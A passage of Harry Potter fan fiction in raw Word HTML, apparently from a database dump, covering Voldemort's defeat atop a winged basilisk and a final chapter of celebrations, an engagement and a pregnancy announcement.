class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Seething with\nanger, Voldemort raised his sword and lowered himself into a battle ready\nstance, his red eyes burning with rage.&nbsp;\nHarry calmly walked forward and swung his sword back and forth.&nbsp; The Dark Lord deflected each of Harry&#8217;s\nblows, but the slight grin on his Harry&#8217;s face indicated that he held the pace\nof the duel.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As the duel\ndragged on, Voldemort seemed to get nervous as Hermione tried to make her way\nto her husband, while fighting off the dark forces that stood in her way.&nbsp; It was clear that Voldemort feared the\nmagical rings greatly and that it would now be only a matter of minutes before\nthe two were united right in front of him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I am not going to\nlet you destroy me!&#8221; said Voldemort as he blocked one of Harry&#8217;s thrusts.&nbsp; The Dark Lord suddenly started hissing in\nparseltongue.&nbsp; Harry was the only one\nwho could understand what the Dark Lord was saying and his response was a\nraised eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You&#8217;re actually\ncalling a basilisk here when there&#8217;s a whole army of griffins flying in the\nair?&#8221; said Harry with a slight smirk.&nbsp;\nIt was common knowledge that griffins specialized in hunting basilisks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort\ngrinned.&nbsp; &#8220;Not just any basilisk,\nHarry.&#8221;&nbsp; Suddenly, the ground started to\nshake.&nbsp; The earth broke forth like a\nvolcano of rock and snow as a basilisk sprang out from under Voldemort&#8217;s\nfeet!&nbsp; But this wasn&#8217;t any basilisk, for\nit had twenty feet long bird wings attached on either side of its fifty-foot\nlong body.&nbsp; The basilisk flew into the\nair with Voldemort standing on its head, laughing hysterically.&nbsp; Alliance soldiers looked up at the monstrous\ncreature in terror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry muttered\n&#8220;What in heavens?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This,&#8221; said\nVoldemort with a laugh, &#8220;is my newly created modified basilisk.&nbsp; I unfortunately had to sacrifice its lethal\nglare to create it, but it is still just as deadly.&nbsp; And not as easily killed by griffins.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Most of the\nGriffin Riders were still busy fighting dragons.&nbsp; There was one griffin however, who did not have a rider.&nbsp; Harry placed two fingers on his lips and\nblew a shrill whistle.&nbsp; The griffin flew\ndown to Harry and landed next to him.&nbsp;\n&#8220;All right, Godric,&#8221; said Harry as he clambered on the golden griffin&#8217;s\nback.&nbsp; Harry looked up at Hermione who\nhad just made it to his side.&nbsp; &#8220;Come\non,&#8221; he said.&nbsp; Hermione nodded and\nclimbed onto Godric sitting behind Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry pulled the\nreins on the griffin&#8217;s head and the Godric climbed into the air, his powerful\nwings beating furiously.&nbsp; Hermione held\nonto Harry&#8217;s waist tightly as she muttered, &#8220;I don&#8217;t like this.&nbsp; I really don&#8217;t like this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was now the\nflying basilisk and the griffin in the air.&nbsp;\nThe baslisk lunged at the griffin flashing its fangs.&nbsp; The griffin simply flew back a bit.&nbsp; It then squawked and tried to sink its\ntalons into the basilisk&#8217;s crown.&nbsp; The\nbasilisk thrashed out of the way and tried to sink its fangs into the griffin\nagain.&nbsp; Harry swung his sword and\ndeflected the fangs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Avada\nKedavra!&#8221;</i>&nbsp; Harry sent the griffin flying back and just\nbarely avoided the killing curse fired by Voldemort.&nbsp; The Dark Lord simply grinned and fired another killing curse,\nwhich was also dodged by the griffin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and Hermione\ndecided they had enough.&nbsp; They pointed\ntheir rings forward and shouted, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; Once again, the golden lion and scarlet phoenix\nsprang forward and combined into a single griffin patronus!&nbsp; Unfortunately, before it could hit the Dark\nLord, the basilisk flew higher and shielded Voldemort from the patronus.&nbsp; Harry heard the parseltongue Voldemort had\nused to command the basilisk to shield him.&nbsp;\nHarry and Hermione fired another griffin patronus, only to meet the same\nresults.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;This isn&#8217;t\nworking, Harry,&#8221; said Hermione.&nbsp; Harry\nseemed to be contemplating something when he passed the reigns to\nHermione.&nbsp; Before she could stop him, Harry\nleapt off of the griffin and onto the basilisk&#8217;s back, a move that startled the\nDark Lord.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The basilisk\ndidn&#8217;t dare thrash Harry off in fear of flinging Voldemort off as well.&nbsp; Harry ran forward and thrust his sword at\nVoldemort who caught the blade with his own sword.&nbsp; They couldn&#8217;t use any magic for the simple reason that their\nblades contain brother cores and therefore couldn&#8217;t duel each other the magical\nway.&nbsp; The two exchanged blows for\nsometime while fighting the turbulence for being so high in the air.&nbsp; When it came to sword fights however,\nVoldemort had the upper hand.&nbsp; &#8220;You can\nnot beat me this way, Potter,&#8221; he hissed, with his malevolent grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry however,\nsimply grinned back.&nbsp; &#8220;Did you think I\njumped on top of here to duel you,&#8221; he said.&nbsp;\nWithout warning, Harry suddenly plunged his blade into the top of the\nhead of the basilisk!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;No!&#8221;&nbsp; Voldemort tried to rush forward, but the\nbasilisk was killed and was now falling to the ground.&nbsp; The Dark Lord turned to Harry only to find\nthat the griffin carrying Hermione was flying right next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><i>&#8220;Expect\nPatronum!&#8221;</i> shouted Harry and\nHermione.&nbsp; The scarlet and gold griffin\npatronus once again shot forth, and this time Voldemort wasn&#8217;t able to defend\nhimself from it!&nbsp; He perished screaming\nas his body once again crumbled to dust!&nbsp;\nAnd this time, there was no questioning that his spirit had been\nvanquished too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry leapt back\nonto the griffin as the corpse of the basilisk came crashing down to the\nground.&nbsp; With their master dead, the\ndark forces lost all their powers and the Alliance armies wiped them out.&nbsp; Thus, the battle was won and the war was\nfinally over.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N Well, that was\nan enjoyable chapter, was it not?&nbsp; I actually\nsemi based the two battles in this fic on the battles in &#8220;The Lord of the\nRings: Return of the King&#8221;.&nbsp; The battle\nof Little Hangleton fits into the Battle of Pelennor Fields while the Battle of\nSnow-Covered Fields is the equivalent of the Battle before the Black-gates of\nMordor.&nbsp; So R/R.&nbsp; Next: it&#8217;s the last chapter!&nbsp; Sorry, but all good things must come to an\nend.&nbsp; Thank you so much for reading this\nfic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 19, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n19: The End of it All\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With the death of\nVoldemort, Viktor Krum had snapped out of the Imperious Curse the Dark Lord had\nheld him.&nbsp; One of the first things he\ndid was apologize to the Gryffindor Royal Family and most especially to\nHermione.&nbsp; It was quite a sight, seeing\nthe king of Durmstrang on his knees, begging for forgiveness in front of the\nQueen Mage Knight.&nbsp; Hermione said, &#8220;I\nwill forgive you.&nbsp; But I cannot easily\nforget what happened.&nbsp; I don&#8217;t think I\never will.&#8221;&nbsp; After that, Hermione had\nnothing more ever to do with Viktor Krum.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">All of the Neo\nDeath Eaters had perished either in the Battle of Little Hangleton or in the\nBattle of Snow-Covered Fields.&nbsp; So the\nthreat of dark powers was ended once and for all.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was decided\nthat the Alliance would temporarily occupy Durmstrang, at least until Krum had\nrecovered from the effects of the Imperious Curse and a new government had been\nset up.&nbsp; However, the occupation was to\nbe under Ravenclaw, Hufflepuff, and Slytherin.&nbsp;\nGryffindor wanted nothing to do with it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Within days of the\nWar&#8217;s conclusion, the Gryffindor Armies sailed back to Magiterran along with\nthe Mage Knights.&nbsp; They went back to\nGodric&#8217;s Hollow hailed as heroes once again.&nbsp;\nHarry and Hermione felt so much relief to be finally back home as the\ncitizens of Gryffindor crowded the streets to welcome their beloved king and\nqueen back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The first person\nto greet them after Neville heralded their return was Margaret Chapel.&nbsp; She was now dressed in elegant blue robes of\nthe noble woman she was.&nbsp; &#8220;Ron!&#8221; she called\nout.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Margaret!&#8221;&nbsp; Margaret ran forward and leapt into Ron&#8217;s\narms.&nbsp; &#8220;I missed you,&#8221; she said.&nbsp; She and Ron shared a long, passionate kiss\nbefore she pulled back and said, &#8220;I love you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you, too,&#8221;\nsaid Ron, turning as red as his hair.&nbsp;\nMargaret finally let go of Ron and timidly faced Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Um, h-hello your\nmajesty.&nbsp; I-I am Margaret Chapel&#8230;&#8221;\nMargaret would&#8217;ve of continued if Hermione hadn&#8217;t suddenly hugged her fiercely,\ncompletely shocking Margaret.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Its so nice to\nmeet you, Margaret,&#8221; said Hermione.&nbsp; She\npulled away and beamed at Margaret.&nbsp;\n&#8220;And please, call me Hermione.&#8221;&nbsp;\nMargaret made a small smile and nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Other people came\nto greet the returning heroes: Prime Minister Seamus Finnigan, Valet Dean\nThomas, Ladies in Waiting Lavender Brown and Parvati Patil, even guards Colin\nand Dennis Creevy came and greeted the heroes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">What followed was\nprobably the biggest celebration in all of Gryffindor as guests from all over\nthe kingdom crowded in to the Royal Palace.&nbsp;\nThe entire Weasley clan was there and Lord Arthur and Lady Molly were\nchatting amicably with Sirius and Remus.&nbsp;\nMage Knights Alicia and Katie were chatting with General Oliver Wood\nwhile Angelina was laughing over the tricks Fred and George performed on\nPercy.&nbsp; Charlie and Bill were discussing\nthings with Dumbledore.&nbsp; Margaret was a\nreluctant participator in Lavender and Parvati&#8217;s gossip as Seamus, Dean, and\nNeville started dancing around getting drunk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At one point,\nthings came to a complete stand still when Margaret quite suddenly cried out\n&#8220;YES!&#8221; at the top of her lungs.&nbsp; As it\nturned out, Ron had just proposed to her.&nbsp;\nFred and George continued bugging Ron for hours about their baby brother\ngrowing up and Ron just scowled at them.&nbsp;\nFor their part, Arthur and Molly were absolutely thrilled about having\nMargaret as a daughter in law.&nbsp; The\nWeasleys were all showered with plenty of congratulations as well as backslaps\nand hugs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The house elves\nworking in the palace were worked to the brink of exhaustion preparing meals for\nall the guests.&nbsp; Hermione promised to\ngive them salary bonuses and some extra time off.&nbsp; That reminded Ron of something.&nbsp;\n&#8220;Hermione, what is this spew nonsense I heard about?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione scowled\nat her red haired friend.&nbsp; &#8220;For your\ninformation, Ron, its S.P.E.W., not spew.&nbsp;\nSociety for the Promotion of Elfish Welfare.&nbsp; It&#8217;s a good cause.&nbsp; You\nshould join as well.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron was about to\nretort, but something else had caught Hermione&#8217;s eyes and Ron was out of the\npicture.&nbsp; &#8220;James!&nbsp; Lily!&#8221;&nbsp;\nHermione rushed over to Hagrid who had just come in carrying the twins.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;They&#8217;ve ben\nwaitin&#8217; fer mommy an&#8217; daddy ta return fer some time,&#8221; said Hagrid as he passed\nthe twins to their mother.&nbsp; Hermione\nhugged her babies close to her and let a few tears of joy fall down her cheeks.&nbsp; Harry came up and hugged Hermione with his\nleft arm as he stroked the twins&#8217; hair with his right hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey you two,&#8221; he\nsaid.&nbsp; &#8220;Didn&#8217;t daddy promise that he\nwould bring mommy back?&nbsp; Daddy keeps his\npromises.&#8221;&nbsp; Hermione turned around and\nkissed Harry on the lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That reminds me\nof something,&#8221; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry raised an\neyebrow.&nbsp; &#8220;Are you sure?&#8221;&nbsp; Hermione nodded and made a small smile.&nbsp; Harry grinned and called out, &#8220;Hey Ginny,\ncould you come here for a second?&#8221;&nbsp; Looking\nconfused, Ginny walked up to the Royal Family, followed by Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What is it?&#8221; she\nasked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nand said, &#8220;Well you see, I&#8217;m pregnant.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, when did this\nhappen?&#8221; asked Ron with a large grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;While we were\nhiding in a cave under snow,&#8221; mumbled Harry, as both he and Hermione blushed\nred.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\ncontinued.&nbsp; &#8220;Anyway, we&#8217;ve used a few\ncharms and discovered that it&#8217;s going to be a girl.&nbsp; So Ginny, with your permission, we&#8217;d like to name her Virginia.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ginny looked\nabsolutely startled as her jaw dropped.&nbsp;\n&#8220;Permission?&nbsp; You don&#8217;t need my\npermission.&nbsp; I&#8217;d be honored to have your\nnext daughter named after me.&nbsp; Thank you\nso much!&#8221;&nbsp; Harry and Hermione both\nbeamed at her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What&#8217;s this I\nhere about Hermione being pregnant?&#8221; called out Remus from the other end of the\nroom.&nbsp; This was followed by whistles\nfrom Sirius and remarks from Fred and George that caused Harry and Hermione to\nblush VERY red.&nbsp; Soon, everyone in the\npalace was giving their congratulations to Harry and Hermione.&nbsp; Laughter continued to ring out late into the\nnight as the festivities continued.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That night, Harry\nand Hermione were once again in each other&#8217;s arms in their four-poster bed in\nthe west wing.&nbsp; Their twins were in the\nnursery next door, safe and sound.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry, are you\nawake?&#8221; asked Hermione, her hair spread out on Harry&#8217;s bare chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah,&#8221; said\nHarry.&nbsp; He turned and kissed Herrmione\non her forehead.&nbsp; Hermione shivered a\nlittle as Harry ran his fingers along Hermione&#8217;s bare shoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I was so afraid\nthat we would never be able to be this happy again.&#8221;&nbsp; A few tears slid down her cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry was puzzled\nwhen he saw the tears.&nbsp; He softly kissed\nthem away and asked, &#8220;Why are you crying?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m just so\nhappy,&#8221; said Hermione she smiled up at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry drew her\ncloser to him.&nbsp; Hermione snuggled up by\nher husband.&nbsp; &#8220;Lets make a promise to\nLily, James, and Virginia,&#8221; said Harry, &#8220;that we will always be great parents.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\nsmiled.&nbsp; &#8220;Yes, lets make that promise.&#8221;&nbsp; She snuggled up closer and said, &#8220;I love\nyou.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you\ntoo.&#8221;&nbsp; The two kissed each other\nintimately as the night moved along peacefully.&nbsp; And this time, they truly did live happily ever after.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">THE END</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" 